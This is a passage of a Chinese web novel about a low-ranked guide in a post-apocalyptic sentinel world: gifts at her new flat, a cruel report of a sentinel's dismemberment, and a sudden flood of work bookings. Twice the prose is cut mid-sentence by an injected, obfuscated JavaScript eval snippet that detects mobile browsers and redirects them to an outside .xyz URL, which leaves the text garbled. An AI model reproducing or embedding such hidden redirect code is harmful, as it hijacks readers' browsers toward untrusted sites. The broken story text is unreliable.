你们一起对着那盘卖相普通的合成肉排挑三拣四，味道居然还不错，分享了一瓶度数不低的、从黑市流出来、据说是末世之前的橡木桶红酒，白鸮声称是缴获的“战利品”。 酒精的作用下，少年褪去了几分平日的尖锐，话也多了起来，开始跟你吐槽惩戒部那些不长眼的蠢货哨兵，抱怨安老师给他布置的特训任务有多变态。 你则分享着跑手续时遇到的各种奇葩官僚和装修时踩的坑。 笑声时不时在空旷的新房子里响起。 酒至半酣，门铃再次响起，打破了温馨的谈笑。 “谁啊？” 白鸮皱起眉，血珀色的眼眸里闪过一丝被打扰的不悦。 你起身开门，门外是负责本层配送服务的履带式住宅机器人管家。它的机械臂稳稳托着几个包装精美的礼盒。 “尊敬的邵音向导，有您的访客寄存物品，请查收。”冰冷的电子音响起。 你签收下来，抱着几个盒子回到餐桌旁。 “哟？还有人记得给你送礼？”白鸮挑眉，语气带着点玩味，但眼神已经锐利地扫过那几个盒子。他相当不见外地直接伸手，将离他最近的一个深蓝色、系着银色缎带的礼盒捞了过去，动作带着点主人般的理所当然。 “让我看看是哪个不长眼的……”他一边拆，一边毫不客气的吐槽。 第一个盒子打开，里面是一套顶级品牌的、专为向导设计的便携式精神舒缓仪，附带全套养护耗材。 白鸮诧异：“陆烬？只送这么一个大路货吗？唔，我猜盒子里还有东西？” 一边说着，一边不客气的翻开了盒子最底层。 果然，里面附着一张极其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085686|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简洁的金属卡片，上面用激光蚀刻着冷硬的“陆烬”二字。 白鸮漂亮的手指翻转着薄薄的卡片，嗤笑一声：“这确实是好东西，不愧是世家少爷，出手就是阔绰。看来，是想用积分砸开二十九层的大门，想疯了吧……” “可惜——”血珀色的眼眸压迫感极强的紧盯着你，“邵音，你不会就这么被……收买吧？” 你白了阴阳怪气的少年一眼，不想搭理他。手上倒是接过卡片来看了一眼，这是圣所、白塔甚至深渊要塞都能通用通兑的特殊材料供应卡，一般是世家专供，有价无世……你想起你改装的温泉露台，还有一些材料没有到位，这份礼物，确实是用得上的。 便毫不客气的笑纳了。 心里想着：回头可以赠送陆大队长几个疗程，也就不算白拿。 第二个盒子稍小，包装是充满活力的明黄色，上面还用彩笔画了个歪歪扭扭的狗爪印。拆开，里面是一对憨态可掬的、用顶级仿真皮毛制作的哈士奇造型靠枕，手感极佳，栩栩如生。 白鸮拎起一只，捏了捏狗耳朵，眼神更冷：“宋梁？呵，人不在，狗东西倒挺会讨巧卖乖。这毛……啧，跟他那只傻狗一样，中看不中用。总会在关键时刻、掉链子……” 卡片上画着一个大大的笑脸和署名“宋梁”。 你倒很喜欢，便不顾白鸮气得跳脚的样子，拿到客厅空荡荡的沙发上，找了个合适的位置放了起来。 还有其它五六个礼物，要么是相好的同组小向导们一起送的，要么是关系还不错的、几个经常能抢到你治疗名额的哨兵们送的。还好，都不是贵重到难以还礼的东西。毕竟你在告知的时候，特意嘱咐了‘不能超过，不然绝交’。 你一一拆开，随手安置。 最后一个盒子……是纯黑色的。没有任何装饰，也没有署名。材质特殊，触手冰凉，带着一种难以言喻的沉重感。白鸮拆包装的动作明显顿了一下，眉头微蹙。 当盒子打开时，连你都忍不住挑了挑眉。 里面并非预想中的危险物品，而是一个……水晶球。 水晶球本身晶莹剔透，工艺上乘。但球体内部悬浮雕刻的东西，却绝非寻常的雪景小屋或旋转木马。 那是一颗眼球。 或者说，是半颗被极其精密地雕琢出来的眼球模型。材质似玉非玉，似骨非骨，呈现出一种诡异的半透明灰白色。猩红的“血管”网络如同活物般蜿蜒遍布，连接着中央那颗被放大了的、有着细微裂痕的“晶体”。瞳孔的位置，是一片深不见底的、仿佛能吞噬光线的漆黑。整个眼球模型栩栩如生，甚至带着一种令人毛骨悚然的……生命感？不能说好看，只能说充满了难以言喻的克系惊悚美学。 空气似乎凝滞了一瞬。 白鸮盯着那颗水晶球里的眼球，血珀色的瞳孔骤然收缩，周身原本轻甜的橘柑香调瞬间被冰冷的、如同极地寒流般的硝烟气息取代！他冷哼一声，唇角勾起一个极其讽刺的弧度，眼神锐利如刀地看向你，脸上清清楚楚写着“快来问我这是谁送的”几个大字。 你心里咯噔一下。这玩意儿……这风格……难道是圣所那个阴魂不散的鸟人亚利瑟斯？他来凑什么热闹？还嫌不够乱吗？ 但你面上丝毫不显，甚至懒得去满足白鸮那点“快问我”的幼稚心思。你直接伸手，动作自然地将那个装着克系水晶球的黑色盒子盖好，然后随手塞进了旁边那堆拆开的礼物盒里，仿佛那只是一个无关紧要的摆件。 “好了好了，拆完了。”你拍拍手，仿佛掸掉什么灰尘，语气轻松地转移话题，“莺莺，来帮我切水果吧？餐后甜点时间到！”你指了指厨房料理台上刚洗好的一大盘颜色鲜艳的珍贵水果。 白鸮被你这一手“无视大法”噎了一下，血珀色的眼眸不满地瞪着你，像只炸毛的蠢鸟。但看你已经转身走向料理台，一副完全不想深究的模样，他只能悻悻地哼了一声，带着一身低气压跟了过来，拿起水果刀，泄愤似的狠狠戳向一颗饱满的合成蜜瓜。 餐厅柔和的灯光下，你们并肩站在料理台前。你负责将水果去皮去核，白鸮则板着脸，用他那双握惯了精神触角和惩戒鞭的手，略显笨拙地将水果切成大小不一的块状。空气中弥漫着合成水果清甜的香气，暂时冲淡了那克系礼物带来的诡异氛围。 然而，这短暂的宁静并未持续太久。 白鸮将一块切得奇形怪状的西瓜丢进水晶果盘里，状似不经意地再次开口，声音却带着一种刻意营造的、意味深长的腔调： “对了，说起来……那只豹子，霍恩斯，还真是可怜。” 你削苹果皮的手微微一顿。 白鸮用眼角的余光紧密地捕捉着你的反应，血珀色的眼眸在灯光下流转着晦暗的光，像盯紧了猎物的猛禽。他慢悠悠地继续道，每一个字都像是精心打磨过的冰羽： “白塔高层那群老狐狸，权衡利弊之后，觉得保下他付出的代价太大，榨取的利益又不够……啧，说放弃就放弃了。圣所那边，判决已经下来了，效率高得很呢。”他顿了顿，故意卖了个关子，欣赏着你依旧平静无波的侧脸。 半响，才用一种近乎残忍的、带着隐秘快意的语调说道： “听说，圣所花了大价钱把霍恩斯救了回来……但却在通过圣泉的‘神测’之后，霍恩斯却宁死也不肯与‘圣灵’融合，圣所只能把他给‘分’了。” “字面意义上的‘分’哦。” 16. 黏人狗狗 * 他伸出白皙修长的手指，在空中虚虚划了几下，“据说会分成了好几块‘有用的材料’……不久之后，就要在圣城举行内部拍卖会了呢。啧，经过圣泉萃炼后的S+哨兵遗骸，尤其是那双失而复得的、传说中的‘月之瞳’……可是抢手货。” 他说着，那张褪去了几分稚气、少年感越发清晰貌美的脸庞转过来，血珀色的眼眸紧紧锁定你的眼睛，里面燃烧着毫不掩饰的探究和一丝……近乎恶意的期待。 “知道‘失而复得’是什么意思吗？” “就是、那双在白色荒野‘丢’了‘天赋能力’、在圣所被彻底剜掉、旧的……噢，姐姐知道什么是‘剜掉’吗？没有止痛剂哦、意识清醒的状态下呢，可惜不是我执行，不然看在同为白塔同事的份儿上，还会下手轻一点……可那位亚利瑟斯不是这样哦……他可是操控羽毛一根一根挑掉，说是能保持最大的视神经活性呢……” 他笑眯眯的说着，紧盯着你，似乎想从你这张永远波澜不惊的脸上，狠狠挖掘出震惊、悲痛！ 哪怕一丝一毫的动容也好。 “还有哦，邵音你会好奇……‘失而复得’中的‘复得’又是怎么来的吗？” 几缕粉色呆毛翘在额间、面容美丽得雌雄莫辨的小少年，笑眯眯：“想知道吗？” “求我哦。” 你知道他的意图，可你也知道，甚至可以说是太知道这个小孩了，如果你真有点什么‘悲痛’‘震惊’、甚至一点点‘在意’的情绪流露出来。 这家伙又要开始闹了。 随着剧情线的临近，你跟他这样相处的时间不多了，你不想他‘闹’起来。怪糟心的。 于是，你停下了削苹果的动作，抬眸，平静地迎上他灼人的视线。 几秒钟沉默对视。 突然，你笑了。 不是冷笑，也不是苦笑，而是一种带着点无奈和包容的、仿佛在看自家闹别扭小孩的浅笑。 “闭嘴。”你轻声说，同时手腕一翻，用水果叉精准地叉起一块他刚切好的、最大的西瓜块，不由分说地塞进了他微微张开的、还想继续“爆料”的嘴里。 冰凉的、甜滋滋的汁水瞬间在他口中爆开，成功堵住了他所有未出口的话。 “唔！”白鸮猝不及防被塞了满嘴，只能瞪圆了眼睛，鼓着腮帮子，含糊地发出抗议的声音。 “快吃吧你。”你收回叉子，用另一只手替他擦了擦唇角的汁水，语气轻松得像在谈论天气，“这几天，你不是还在参加安老师的特训营吧？我记得是有严格门禁的？确定要把今晚这么宝贵的、来之不易的摸鱼时间，都浪费在聊这些……不相干的人身上？” 你刻意加重了“不相干”三个字。 白鸮咀嚼的动作顿住了。他血珀色的眼眸深深地看着你，里面翻涌着复杂的情绪——被堵嘴的不爽，试探落空的不甘，还有一丝……被你轻描淡写化解掉的挫败？ 最终，那些翻腾的情绪似乎被强行压了下去，化作一声带着西瓜汁水气息的、不甘不愿的吞咽声。 他狠狠地嚼着嘴里的西瓜，没再说话。 世界，终于清净了。 接下来的几个小时，氛围重新变得轻松愉快。你们一起收拾了餐桌和厨房的狼藉，白鸮虽然嘴上依旧不饶人地吐槽你的收纳习惯，但身体却很诚实地帮你把碗碟码放整齐。 你带着他参观新家的每一个角落，兴致勃勃地介绍你的设计理念。 当然，你的核心理念就是，怎么舒服怎么来。 当然，白鸮还是会一边炸毛、一边骂你懒。 当你推开一间空置的、采光极好的次卧房门时，你指着空荡荡的房间对他说：“喏，这间给你留着。以后来白塔述职或者……嗯，离家出走？总得有个落脚的地方吧。想布置成什么样？冷酷暗黑风？还是跟你精神体一样的雪鸮主题？羽毛灯要不要？” “都可以告诉我哦，莺莺。” 白鸮站在门口，看着那间属于他的、尚是空白的房间，血珀色的眼眸里有什么东西轻轻闪动了一下。 他抱着手臂，故作挑剔地环视一圈：“……太小了。而且窗户朝向不好，正对着能量罩的转换枢纽，吵死了。羽毛灯？幼稚！” 但微微上扬的嘴角，却泄露了他真实的心情。 你们就着房间的布置天马行空地讨论了一会儿，白鸮虽然嘴上嫌弃，但提出的几个想法，比如需要一张能承受他精神体偶尔具现化冲击的特制床架，比如一个恒温恒湿的、适合雪鸮栖息的角落……都是相当实际的想法。 时间就在这样轻松又带着点小温馨的讨论中飞快流逝。 * 当个人终端上设定的提醒闹钟突兀响起时， 房间里的笑声戛然而止。 白鸮看了一眼终端屏幕上跳动的信息，血珀色的眼眸瞬间沉了下去，方才的轻松愉悦如同潮水般退去，只剩下冰冷的凝重。 他低低骂了一句什么。 几乎是同时，门铃被有节奏地敲响了，电子屏上亮起来访人信息。 你走过去打开门。 门外站着一位身材高大魁梧、面容粗砺的哨兵，穿着深灰色的近卫队作战服。你认得他，他是白鸮的固定搭档之一，精神体是凶悍的鳄系。 此刻，他神态恭敬：“流火阁下，时间到了。安老师那边……催得紧。” 白鸮深吸一口气，脸上最后一丝少年气的残留也消失殆尽，取而代之的是属于白塔惩戒部准S级向导的冷肃。 他对着鳄系哨兵点了点头，声音低沉：“知道了，外面等我。” 门轻轻关上，隔绝了门外哨兵带来的紧迫感，却关不住室内骤然弥漫开来的沉重和不舍。 白鸮转过身，看向你。 他张了张嘴，似乎想说什么，也许是抱怨特训的辛苦，也许是担忧即将到来的任务，也许是……别的什么。 但最终，所有的话语都堵在了喉咙里，只化作一个突兀的、带着巨大冲力的拥抱！ 他用力地把你抱进怀里，手臂收得极紧，像是要把你揉进他的骨血里。少年的身体已经初具青年的骨架，带着蓬勃的力量感和一丝不易察觉的颤抖。他身上 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你顿了顿，声音更轻，却带着一种奇异的、令人心安的力量，“如果实在撑不下去，或者觉得不值得……” “没关系。” “大不了我们一起离开白塔，像当年一样，去流浪。” 感受到怀里身体瞬间的僵硬，你无声的笑了笑，带着点慵懒却不容置疑的笃定：“别小看你邵音姐姐。在白塔只是一个C级不假，可在野外废土的生存能力……绝对是S+的。” “只要你想走，我随时能带你离开，保证让你活得比在白塔滋润。” 就像我们当年，即便最弱小的时候，也能互相扶持着，在各个危机四伏的避难所里挣扎求生一样。 这句话，你没有说出口，但你知道他懂。 白鸮把你抱得更紧了，紧得你几乎能听到自己骨头在抗议。你忍着、纵容着。 白鸮没有抬头，无从得知他此刻的表情。 只不过，颈窝处传来一点极其细微的、温热的湿意，嗯、或许只是他呼吸凝结的水汽？ 良久。这粉毛小孩身体的颤抖似乎平息了一些，取而代之的是一种更深沉、更决绝的力量感。 他深深地、贪婪地吸了一口你身上熟悉的气息，然后，缓缓地、极其不舍地松开了你。 抬起头时，那张漂亮得过分的脸上已经恢复了平静，只有眼眶周围残留着一点点不易察觉的微红。眼里翻涌着千言万语，却最终只化作一句带着鼻音的低语： “一定要……等我回来。” 说完，便拉开了门。 门外等候的哨兵微微躬身，白鸮脊背挺直的、大步走入走廊略显昏暗的光线中，带着少年奔赴战场的孤勇，迅速消失在电梯门后。 厚重的房门在你面前缓缓合拢，隔绝了外面的一切声响。新家里瞬间安静得只剩下智能管家系统低微的运行嗡鸣。空气中，仿佛还残留着硝烟、橘柑香，以及一丝……淡淡的、咸涩的水汽。 你站在原地，看着紧闭的门扉，良久，才轻轻地、无声地叹了口气。 怎么越大，反而越黏人了呢？ 17. 黏人狗狗 * 白鸮离开后， 偌大的二十九层大平层彻底恢复了独属于你的宁静。 期间，你收纳整理新家的时候，好几次都看到了那个装着水晶球的不起眼黑盒子。 你把它拿出来看了一看，又扔了回去。 放到了柜子的最底层。 …… 半夜。 你睡不着，你又醒了，烦躁的挠了挠鸡窝头，认命的爬起来，打开柜门，翻箱倒柜的找出那个黑盒子。 二十九层高耸云端。云海在脚下，月光透亮。水晶球折射着朦胧的光，充满了诡异的克系美感。 你闭了闭眼。从盒子中拿出水晶球。分出一缕精神丝。小心的探察了进去。 瞬间、大量的信息涌入你的脑海。 你诧异的睁开了眼，这玩意儿还真是…… ………… …… 沉吟片刻。 你打开个人终端，熟练的进行了加密、定位伪装等必备技术手段，然后挂着‘无面’的ID，摸进了‘第九区’论坛。 这是一个类似于暗网的地下交易场所。只要出得起代价，就什么都能拿到。 同样的，只要搏得了命，什么都能赚到。 不过你已经很久没有登陆了。 最后一次的登陆时间，还在三年多之前；最后一次的登陆地点，还是在来白塔之前的最后一个避难所，只不过那个地方现在只剩下一座又一座的枯骨京观…… 流窜在各个避难所的苦日子已经成为过去。与旧日比较，如今在白塔的日子实属安逸的过分。 贪图舒适有什么错？ 你至少还得在这个世界呆个二三十年吧…… 在记忆都快被模糊的‘过去’，有句类似的话、叫什么来着……哦、是‘房子是租来的，但生活不是。’ 对你现在的状况而言，这个废土世界是意外来着，但你活生生的感受、并不是啊。 在充满苦难的世界里，让自己尽可能过得舒适、 有条件的情况下，不将就， 是你有希望‘回溯’现世的精神锚点。 对这个废土而言，世界普通人寿命只有平均四五十年，特殊能力者的寿命虽然能达到一百多年，但这个C级向导的身体现状，最恰当的寿终年限最好不超过六十年…… 意外掉到这个世界后，你已经胡乱厮混了十二三年了，估摸再混一个二三十年，就可以安祥了。 修仙世界，自然是弹指一挥间。 但在这个无聊的废土世界，时间不算短了、现有条件下，能过舒服一点、就舒服一点吧。 没有条件，也努力为自己创造条件吧。 一边想着一些有的没的，一边耐心的等待着任务发布的页面全部加载出来。 论坛的主人似乎在老旧的墨绿色的页面上，进行了一些Bug叠Bug、屎上雕花的界面改动，你一边吐槽一边答题；一边艰难的上传着‘水晶球’的图片、一边网速卡顿的发布了你的要求…… 在悬赏金额这个必选项上你停、停顿了一下。 你快速心算：除了霍恩斯在你这里预存的二十七万三千八百六十二个睡眠积分之外，你个人账户上还有来到白塔三年来，靠个人任务积攒下来的……全都算上的话，还有八万四千零五十三点五个积分…… 肉疼的数了又数，最终确认从各个马甲账户中，就只能薅出这么多了。 滴滴滴—— 第九区论坛跳出即将关闭的警报声。 没时间多思考了，你快速的在悬赏金额上填上了35万积分这个数字。 然后赶在页面关闭的最后一个毫秒，把代号为【溯夜之风】的任务发布了出去。 在那个‘白色荒原’污染核心扩散被制止的那一夜，你不知道在霍恩斯眼中，那个夜晚是否有月亮。 但当‘小乖’支棱着伤骨、腰部被污染腐蚀贯穿的悲惨模样、蓦然出现在你狭小宿舍的窗台时—— 你正在悠然的摇着一把破扇，欣赏着这个废土世界独有的溯月风暴。 那时—— 已沦为废星的月卫，在远道而来的彗星的潮汐引力下，正旋转着喷洒行星物质，表现在废土蓝星上的观赏者眼中，就是仿佛一面神秘的薄纱被一只无形的大手轻轻掀开…… 或者更确切的说，仿若萤火之虫，也争月辉。 美得如梦如幻。 溯流之夜， 逆向之风， 当时的你，还笑着跟通讯器那边的白鸮感叹，这算不算、月亮为你逆流而来？ 这个破烂世界难得的浪漫？ 白鸮从小是没什么机会念书的，当然也理解不了你言语中的‘湿意大发’，当然是一边嘲讽你脑子有坑，一边难得正经的向你解释，这个世界没剩下多少时间的原因： 蓝星废土上的污染未解、人类自然也顾不上天上正在发生的变化，五十年一遇的‘溯月风暴’，每次都会造成月卫的物质丢失，不知道月卫还能承受几次？ 即便天枢防线能够稳定，圣所、要塞、白塔能够力气合一的解决地面的污染，但谁知道呢？ 月亮会不会分崩离析的掉下来？ 白鸮一面悲观、一面却以一种无比幸福的语气告诉你： “邵音，只要你别圣母、别犯蠢、别多管闲事……我会很强大、很强大的！我俩一起活到所有人死光的那一天吧！” “想起来就觉得好棒啊！邵音？” “喂、你还在？” “……你、快说，好！我邵音要跟白鸮死一起！” “快说呀！” 你搞不懂、为什么通讯器对面那个粉毛小孩儿突然中二起来，你只能一边‘嗯嗯’的不走心敷衍着他，一边打算关窗户睡觉—— 就在那个时刻，你发现了窗台形容凄惨的‘小乖’ 后面的事情，就是那样了。 你收留了‘它’，你把‘它’收入了识海温养，你剥离了所剩不多的灵力喂养‘它’—— 直到‘它’足够强壮到，被它的主人吸纳、分解、或许有一线生机，能重塑精神体。 规则限制，更多的，你做不了。 而现在—— 你只能感叹‘因果律’横跨诸多世界观的强大，你用了这个世界不该动用的手段、那么现在最好的方法就是，对等清偿…… 你大致的算了一算，差不多你刻意从霍恩斯身上搜刮的那些不义之财，现在全都一次性倒贴了出去。 希望就此清偿，不过还好，在你翻烂了的那点‘剧情说明’中，并没有黑豹霍恩斯这个人物。 所以，你今晚壕撒积分的举动，完全不会影响正式剧情的发展。 你一贯谨慎。 你对自己的决策，有相当强的信心。 * 不过， 这样一来，你的账户余额只剩下7915.5个积分了。 嗯，没事儿，还能撑几个月呢。大不了到时候厚着脸皮去找白鸮‘借’，再再不行，你就把你大平层的居住权分他一半好了…… 你以一种乐观的心态安慰着自己。 你伸了一个懒腰。‘啪’的一声，合上了个人终端，然后趿拉着镶嵌着一圈兔子绒毛的拖鞋，回到卧室、重新倒回了你那软的像云朵一样的大床上。 还是在暖被窝里睡懒觉来的快乐啊。 冲着这个，你每天睡觉前都会祈愿这个世界尽快和平。 处理完克系水晶球带来的烦心，你宅在29层大平层、过的简直是一种神仙般的日子。 * 但快乐的日子总是溜得飞快。 半个月的悠闲，一眨眼就没了。 今天，是返工的第一天，你游魂般的起床、洗漱、吃早餐……终于卡在打卡的最后一分钟，磨磨蹭蹭地挪到了C区那间熟悉的、弥漫着淡淡消毒水味的治疗室。 在工位上瘫了十五分钟，终于想起来，你也是有房要养的向导了，不能太懒散、还是得稍微支棱起来。 于是，你有气无力的戳开了那个象征着‘饭碗’的接单按钮。 叮叮叮------！！ 叮叮叮叮叮------！！！ 叮叮------！！！ 一连串密集到堪称疯狂的提示音瞬间炸响！ 在你个人终端的光屏上，代表待处理预约的红色数字疯狂跳动，最终定格在一个让你目瞪口呆的数字上—— 99+ 系统提示：队列溢出，请尽快处理！ 预约系统…… 被、挤爆了？！ 你揉了揉眼睛，确认自己没看错。 怎么回事？ 你休假前虽然也并非毫无名气，但主要是针对接私单的特定客户群，通常只靠口碑相传。 而在公共系统的向导预约列表中，通常都只有零零散散的几个信息。甚至偶尔为了混个保底，还需要招呼陆烬等老客户来填个空档…… 这架势……是嫌你休了个假太清闲？！ 是谁？！存心给你穿小鞋，把什么边角料、硬骨头的疏导任务都一股脑塞你的预约列表里！ 你立刻怀疑上了自己隔壁办公室的直系领导——那个缺德的秃头！ 对、肯定是他！ 一股无名火蹭地窜上心头！ 你“嚯”地站起身，椅子腿在地板上划出刺耳的摩擦声，一脚踹开了秃头领导的办公室门！ “领导！解释一下！”你把个人终端光屏怼到他眼前，上面那鲜红的“99+”无比刺眼，“我才休了半个月！这是打算让我把下半年的活儿都干完？您这也太不厚道了吧！” 秃头领导正捧着保温杯，美滋滋地嘬着里面漂浮的几粒红枸杞。被你破门而入的动静吓了一跳，差点呛到。 他慢悠悠地放下杯子，擦了擦溅到胡子上的水渍，抬眼皮瞥了你一眼，又慢悠悠地瞥了一眼你的光屏，语气平淡得像在讨论天气： “哦，这个啊。急什么？大惊小怪。”他呷了口茶，“这是正常的工作流程回归。之前你的预约排队那么少，你不想想是为什么？” 你表面上摆出一副虚心求教的姿势，手上却更加用力的把光屏怼到秃头鼻尖，咬牙切齿：“请教领导，那、都、是、为什么？” 你觉得吧、这事儿啊，你和你领导都心里门儿清~~ 还能是为什么？ 当然是因为你是一个众所周知的—— 评级垫底、精神体没有、无论工作态度还是业务能力都非常平庸、而且还是一个出了名的懒王、不思进取得连白塔新星、卷王之王的流火阁下都带不动的、一门心思只想着混吃等死拿退休金的废材C级。 这样的你、疏导性价比不高。 高级哨兵白花积分、深入疏导的预期效果达不到；低级哨兵心疼积分，按单次浅层疏导效果的口碑榜来排序挑选，又绝对看不上—— 这么明显的事实，还需要问为什么？ “之前常霸占你预约系统名单的都是谁？”秃头领导慢条斯理地问，眼神里带着点‘你心里没点数吗’的意味。 “请问领导，”你冷笑、啪的一声把平板拍在秃头的办公桌上，袖子一挽，决定为自己的权益争取到底：“我该心里有点什么数？您就别绕弯子了！” “唉、年轻人、果然还是太年轻了啊……”秃头领导故弄玄虚的叹了一口气，慢悠悠的又喝了一口茶：“想想看，之前是谁的名字，长期、稳定地占据着你预约系统的前排？” “是谁的名字一出现，后面排队的就自动清空一大片？” “还有啊，为什么除了少许那几个，大部分你治疗过的哨兵都规规矩矩的不敢骚扰你。” “即便侥幸预约上了，你喜爱偏好的精神体哨兵，也大多只约上过那么几次，后面就不出现了？” 你愣了一下，眉头开始蹙了起来。 你脑子没坏，当然记得都是些‘谁’—— 现在人远在圣所生死不明的霍恩斯、当下跟着总行政官出长期外勤的陆烬、还有那个虽然人不在白塔但你也不想提起他名字的家伙…… 这几个人，常年稳压在你的预约名单的头排，即便是临时有任务无法赴约，也宁愿白扔积分，也绝对不会让出预约时间段…… 而其它非VIP的私人客户，也大多是这样。 你最开始是乐得轻松的，虽然是有点奇怪，但你的性格就是这样，不属于你责任范围内的东西，你从不会去多想一个‘为什么’。 那未免也太内耗了。 你一向擅长‘自洽’，不然也熬不过那么多设定奇葩的‘任务世界’。 回到白塔系统的预约问题，从另一个方面来说，你本职的疏导工作中，被空缺下来的那些公共时间段，总是会被这些人在事后约你的私人时间，给找补回来…… 你也一向很有职业道德的，免除空缺时间段的额外计费，只不过常常会推销一些别的…… 唔，这么想来，你还是好亏！ 这时，秃头出声，打断了你逐渐发散的浮思—— “看来你是想起来了嘛~~~” “这可不是白塔系统自动的设定，而是某种心照不宣的潜规则——在你邵音邵向导的疏导时间，尤其是优质的疏导时段，早已被那几个……给占满了啊。” “更何况，”秃头：“你知道南区有个‘斗兽场’吧？” “啥？” “斗兽场……那是什么玩意儿？”你收拢思绪，表情认真了一点：“我只知道南区有个塔里默许的‘地下交易所’。” 也是‘第九区’分所。 你心里默默补充了一句。 “咳、同一个意思，”秃头难得好心的给你解释：“南区的地下‘斗兽场’，是白塔默许的存在，塔里监察组也会暗地观察，只要不闹出不可挽回的恶性事件，通常睁只眼闭只眼。毕竟……” 他意味深长地拖长了语调，“那里最经常发生的争斗，是哨兵们用来宣告……对某些个向导‘预约权’归属的。” “所以——” 秃头又停顿了一下，剩下的话他没说，但你知道他的言外之意，这样的情况下，其他哨兵，哪怕是S级，也得掂量掂量自己够不够格、有没有胆量去跟这几位抢号。 “现在嘛，”秃头领导意味深长地拖长了调子，指尖敲了敲桌面，“天枢防线那边局势有点吃紧，圣所那边又不太平，深渊的混乱更别提了…… 几位大忙人都被各自摊上的‘大事’给牢牢拴住了手脚，一时半会儿顾不上这边。他们稍微松懈一点点，你这块香饽饽，可不就被眼巴巴等了很久的小崽子们盯上了？ 预约资格嘛，自然也就...重新洗牌了。” 他端起保温杯，吹了吹热气，总结陈词：“所以啊，小邵，趁这个空挡、好好干！这可是证明你价值、拓展业务面的好机会！塔里很看好你！” 那语气，仿佛甩给你的不是一座预约大山，而是一座闪闪发光的积分金矿。 你：“……” 看着领导那张写满‘组织很信任你哟’的真诚（？）（划掉）老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092604|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸，满腔的怒火像被戳破的气球，‘噗’一声泄了个干净，只剩下满满的荒谬之感。 行吧，合着你这个小小的C级治疗室，还成了某些个家伙的角力场了？ 现在他们暂时顾不上看场子，你这儿就成了菜园子？ 谁都想来薅一把？ 你面无表情地收回终端，连吐槽的力气都省了，只从牙缝里挤出一句：“领导您真是...高瞻远瞩。我这就回去...努力‘拓展业务面’。” 秃头笑眯眯的点了点头，若有所指：“邵向导啊，这对你来说，是好事，是‘机会’啊。趁机挑选几个匹配度高、潜力大、还算听话的新人，适当的时候可以考虑做一些固定配对的绑定啊…… 你看看啊，与你同期进白塔的，先不提惩戒部的白向导，已经组建了十一位的‘个人团队’；与你同一届的，其它几个A级向导，都至少登记了三个固定搭档，组建了最小‘战斗单元’…… “等、等等——”你立刻叫停，警惕万分：“固定配对？我、一个C级别？” 呵、听听、秃头这话说得，还什么打造‘个人团队’？什么组建‘战斗单元’？ 这是要鞭策牛马、提升工作强度的标准PUA话术啊！ 你才不上当！ “领导，你是不是没睡醒？” “咳、那个，小邵啊！你C级怎么回事，别人不清楚，你领导我还不清楚嘛~~~” “放心吧~” “塔里会给你的配对申请开绿色通道！今晚申请、明天就奏效！” 一听这话，你眯了眯眼，与秃头的绿豆眼杀了几个回合。 “是哦，领导，您清楚什么呀？” “是抓我做外勤……还不给报酬的事情吗？” 秃头一僵、立刻表演了一个战术性喝水。 呼噜~~呼噜~~~ 假装忙着，把保温杯里的枸杞都薅来吃光光。 就在你呵笑一声， 转身离开的时候—— “小邵！”秃头却出声叫住了你，语气稍微严肃了一些：“之前塔里没向你提这个事，自然是因为、咳，那几个的原因，你、你懂的哈，好好好、你以前是不知道不了解、不知者不怪……现在嘛，现在你懂了哈？ 小邵啊~~这可是相当好的时机，你认真考虑一下。” “不然的话，真正成了某些哨兵、咳、或某些……的固定的‘圈养’，你的前途也好、人生也好，可就毁了啊！” 秃头领导人品不怎么样，但他这话倒是说得没错。 也勉强算得上掏心窝子的话了。 即便在白塔这个对向导友好的地界，向哨之间的关系也往往笼罩着一层‘控制’与‘被控制’的争夺关系。 “知道了，谢谢领导啊~~” “固定搭档的事……再说吧、再说吧。” 你无力的挥了挥手，拖着沉重的步伐、回到自己那方小小的治疗室。先不去想秃头提到的‘固定搭档’引发的一些未来可能的麻烦~ 就说现在！ 光屏上令人绝望的99+，忽上忽下的滚动着、跳动着让你眼疼。 一想到未来几个月将被套上嚼子、从此拉不停拉磨的牛马生活。你就头疼、牙疼、眼疼、手痛…… 瘫在椅子上歇了好一会儿，才有气无力的点开了预约列表下拉、下拉、再下拉…… 长长的下拉列表，看得你一脸麻木。 好家伙！这可真是开了眼了！ 之前你的预约名单上，除了那几个固定私人客户，偶尔出现的也是些常规的犬系、猫科，顶多来个猛禽类。 现在倒好——蜿蜒滑行的巨蟒、甲壳锃亮的巨蝎、色彩斑斓一看就有毒的箭毒蛙…… 甚至还有一只...黏糊糊、半透明的、在不断蠕动分裂的大蚯蚓？！ 你感觉自己san值在狂掉！ 再看看他们预约请求上那些或含蓄或直白的‘病情描述’ 这些个玩意儿精神图景得乱成什么样？！ 你上次接触到类似的奇葩病症，还是一个陷入‘神癔’状态的、精神体为‘食鸟蛛’年轻哨兵，精神图景是一层一层由蜘蛛丝密密包裹起来的神庙入口，你为了不困在他的图景里、不刺激祂敏感的神经、不得不‘手撕’了一层又一层的蛛丝…… ‘手’酸得你现在想起来都疼。 那种酷刑你是不想再经历了…… 但按白塔的规矩，现在这样的情况，由不得你。 太阳穴突突直跳。 在白塔这套匹配值只是基础、功勋和积分氪金才是硬通货的预约系统里，这些能挤到你名单前列的新面孔，显然都是砸了血本或者立了战功的“氪金大佬”或“功勋新贵”； 